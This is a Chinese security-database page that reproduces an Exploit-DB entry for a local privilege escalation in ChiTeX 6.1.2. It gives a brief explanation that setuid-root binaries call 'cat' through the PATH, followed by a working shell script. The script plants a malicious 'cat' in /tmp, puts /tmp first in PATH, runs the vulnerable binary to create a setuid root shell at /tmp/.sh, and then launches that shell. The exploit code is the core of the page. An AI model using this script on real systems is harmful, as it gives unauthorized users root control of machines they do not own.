ChiTeX 6.1.2 – Local Privilege Escalation

ChiTeX 6.1.2 – Local Privilege Escalation

漏洞ID 1053809 漏洞类型
发布时间 2003-04-03 更新时间 2003-04-03
图片[1]-ChiTeX 6.1.2 – Local Privilege Escalation-安全小百科CVE编号 N/A
图片[2]-ChiTeX 6.1.2 – Local Privilege Escalation-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22452
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7263/info

A vulnerability in ChiTex has been reported that may allow local users to obtain root privileges on vulnerable systems. The vulnerability exists due to the existence of two setuid root binaries that execute the 'cat' program without an absolute path.

An attacker can exploit this vulnerability by creating a malicious 'cat' file and invoking the setuid binaries. This will result in the execution of the attacker-supplied 'cat' file with root privileges. 

#!/bin/sh
echo 'owned' > 'psfontsmap@'
export psfontsmap=/tmp/owned
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
cd /tmp
export PATH="/tmp:$PATH"
/usr/local/bin/chaddpfbname
/tmp/.sh -c id
/tmp/.sh

相关推荐: Unix 远程安全漏洞

Unix 远程安全漏洞 漏洞ID 1207210 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1999-01-01 更新时间 1999-01-01 CVE编号 CVE-1999-0539 CNNVD-I…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享